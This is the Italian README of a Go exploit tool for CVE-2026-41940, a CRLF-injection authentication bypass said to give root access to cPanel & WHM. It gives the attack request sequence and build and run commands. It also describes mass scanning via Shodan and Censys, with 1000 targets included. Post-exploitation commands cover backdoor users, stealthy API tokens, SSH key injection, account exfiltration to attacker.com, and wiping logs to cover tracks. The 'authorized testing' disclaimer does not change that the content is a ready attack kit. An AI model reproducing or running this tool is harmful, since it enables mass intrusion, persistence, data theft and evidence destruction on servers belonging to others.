
Exploit PoC per CVE-2026-41940, un bypass dell'autenticazione di cPanel & WHM tramite iniezione CRLF. Include scansione di massa, azioni post-exploitation e una shell interattiva per test autorizzati.
Strumento di: Ishan Oshada | GitHub
⚠️ SOLO PER TEST DI SICUREZZA AUTORIZZATI. L'uso non autorizzato è illegale.


CVE-2026-41940 è una vulnerabilità di iniezione CRLF in cPanel & WHM (versioni < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
La funzione saveSession() scrive i dati della sessione dopo aver applicato filter_sessiondata(), ma il filtro viene applicato troppo tardi. Iniettando caratteri CRLF (\r\n) all'interno dell'header Authorization: Basic, un attaccante può avvelenare il file di sessione su disco con coppie chiave-valore arbitrarie (ad es., hasroot=1, tfa_verified=1, user=root).
Quando la sessione avvelenata viene successivamente caricata, cPanel/WHM concede accesso root completo senza alcuna password.
--verbose) – mostra richieste/risposte HTTP completegit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
Invece di compilare dal sorgente, puoi scaricare direttamente gli eseguibili stabili più recenti dal repository. Questi vengono generati automaticamente a ogni aggiornamento:
Nota: Se usi Linux o macOS, ricorda di concedere i permessi di esecuzione dopo il download:
# Scansione di base
go run main.go -u https://target.com:2087
# Elenca tutti gli account cPanel
go run main.go -u https://target.com:2087 -action list
# Shell WHM interattiva
go run main.go -u https://target.com:2087 -action shell
# Scansione di massa con urls.txt
go run main.go -l urls.txt -t 20 -o results.json
Una volta dentro la shell (-action shell), usa questi comandi:
Il repository include urls.txt con 1000 target di esempio per la scansione di massa.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# Scansione di massa di base (10 thread)
go run main.go -l urls.txt
# Scansione di massa veloce (50 thread, salva risultati)
go run main.go -l urls.txt -t 50 -o results.json
# Scansione di massa con azione post-exploit
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# Scansione di massa con output verbose
go run main.go -l urls.txt -t 10 --verbose
# Scansione di massa con timeout aumentato (reti lente)
go run main.go -l urls.txt -t 30 -timeout 30
# Genera intervallo IP (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# Genera intervallo IP (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# Da Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# Da Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ TARGET VULNERABILE RILEVATO ║
╠════════════════════════════════════════════════════════════════╣
║ Target: https://target.example.com:2087 ║
║ Token: /cpsess1234567890 ║
║ Versione: 11.76.0.22 ║
║ Sessione: :od2aMhg5zJeQunUy... ║
║ URL API: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Azione: LIST
• Utente: admin | Dominio: example.com
• Utente: backup | Dominio: backup.example.com
• Utente: client1 | Dominio: client1.com
════════════════════════════════════════════════════════════════════
RIEPILOGO SCANSIONE COMPLETATA
════════════════════════════════════════════════════════════════════
Totale target scansionati: 1000
Target vulnerabili: 47
Tempo trascorso: 125.34 secondi
TARGET VULNERABILI:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Token: /cpsess1111111111
Versione: 11.76.0.22
Sessione: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Token: /cpsess2222222222
Versione: 11.86.0.15
Sessione: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Token: /cpsess3333333333
Versione: 11.118.0.42
Sessione: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Risultati salvati in: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # Documentazione
├── bin/ # Eseguibili precompilati multi-piattaforma
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Codice sorgente principale
├── urls.txt # 1000 target di esempio
├── go.mod # File modulo Go
├── .gitignore # File Git ignore
└── results.json # File di output (generato)
Questo strumento è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati.
L'accesso non autorizzato a sistemi informatici è illegale ai sensi di:
L'autore non si assume alcuna responsabilità per un uso improprio. Utilizzo a proprio rischio.
Utilizzando questo strumento, accetti di avere la dovuta autorizzazione per testare i sistemi target.
Ishan Oshada
Se trovi utile questo strumento:
Buon hacking! 🚀
Ricorda: Da un grande potere deriva una grande responsabilità. Usalo eticamente.
| Fase | Azione | Descrizione |
|---|
| 1 | POST /login/?login_only=1 | Richiedi cookie di sessione pre-autenticazione con credenziali errate |
| 2 | GET / + header Authorization con CRLF | Avvelena il file di sessione con hasroot=1, user=root, ecc. |
| 3 | GET /scripts2/listaccts | Forza la cache di sessione a ricaricare il file avvelenato (propagazione) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Verifica l'accesso root – successo = 200 + dati versione |
| Piattaforma | Posizione |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | Scopo | Comando |
|---|
| 1 | Scansione di base su singolo target | go run main.go -u https://target.com:2087 |
| 2 | Elenca tutti gli account cPanel | go run main.go -u https://target.com:2087 -action list |
| 3 | Cambia la password di root | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Esegui comando di sistema | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Ottieni informazioni sul server | go run main.go -u https://target.com:2087 -action info |
| 6 | Crea utente backdoor | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | Crea token API (furtivo) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | Inietta chiave SSH | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Dump ed esfiltrazione account | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Cancella log e copri le tracce | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Shell WHM interattiva | go run main.go -u https://target.com:2087 -action shell |
| 12 | Scansione di massa da file | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Salva risultati in JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Abilita debug verbose | go run main.go -u https://target.com:2087 --verbose |
| 15 | Pipe da altri strumenti | cat urls.txt | go run main.go -t 20 |
| 16 | Aumenta timeout | go run main.go -u https://target.com:2087 -timeout 30 |
| Azione | Flag | Descrizione | Livello di furtività |
|---|
list | -action list | Elenca tutti gli account cPanel | Basso |
passwd | -action passwd -passwd NEWPASS | Cambia la password di root (rumoroso) | Alto (rilevabile) |
cmd | -action cmd -cmd "id" | Esegue comandi del sistema operativo | Medio |
info | -action info | Mostra hostname, carico, versione | Basso |
adduser | -action adduser -new-user U -new-domain D | Crea utente cPanel backdoor | Medio |
apitoken | -action apitoken [-tokenname NAME] | Genera token API persistente | Molto basso |
sshkey | -action sshkey -sshkey "ssh-rsa..." | Inietta chiave pubblica SSH in root | Molto basso |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | Backup ed esfiltrazione account | Medio |
wipe | -action wipe | Disabilita WAF, cancella log, pulisce cronologia | Copre le tracce |
shell | -action shell | Shell WHM interattiva | Basso |
| Comando | Descrizione | Esempio |
|---|
accounts | Elenca tutti gli account cPanel | accounts |
passwd <pass> | Cambia la password di root | passwd MyNewPass123!2006 |
exec <command> | Esegue comando di sistema | exec "cat /etc/passwd" |
info | Mostra informazioni sul server | info |
version | Mostra la versione di cPanel | version |
help | Mostra i comandi disponibili | help |
exit | Esci dalla shell | exit |
| Opzione | Tipo | Predefinito | Descrizione |
|---|
-u | string | - | URL del target (ad es., https://example.com:2087) |
-l | string | - | File con i target (uno per riga) |
-t | int | 10 | Numero di thread concorrenti |
-action | string | - | Azione post-exploit |
-passwd | string | - | Nuova password (per passwd/adduser) |
-cmd | string | - | Comando da eseguire (per azione cmd) |
-new-user | string | - | Nome utente per azione adduser |
-new-domain | string | - | Dominio per azione adduser |
-tokenname | string | - | Nome per token API (azione apitoken) |
-sshkey | string | - | Chiave SSH pubblica da iniettare (azione sshkey) |
-dumpuser | string | - | Nome utente da eseguire il backup (azione dumpacct) |
-exfil | string | - | URL remoto per l'esfiltrazione (azione dumpacct) |
-o | string | - | File JSON di output (salvataggio automatico quando trovato) |
--verbose | bool | false | Mostra richieste/risposte HTTP |
-h | bool | false | Mostra il menu di aiuto |
| Ramo | Versione corretta | Vulnerabile < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |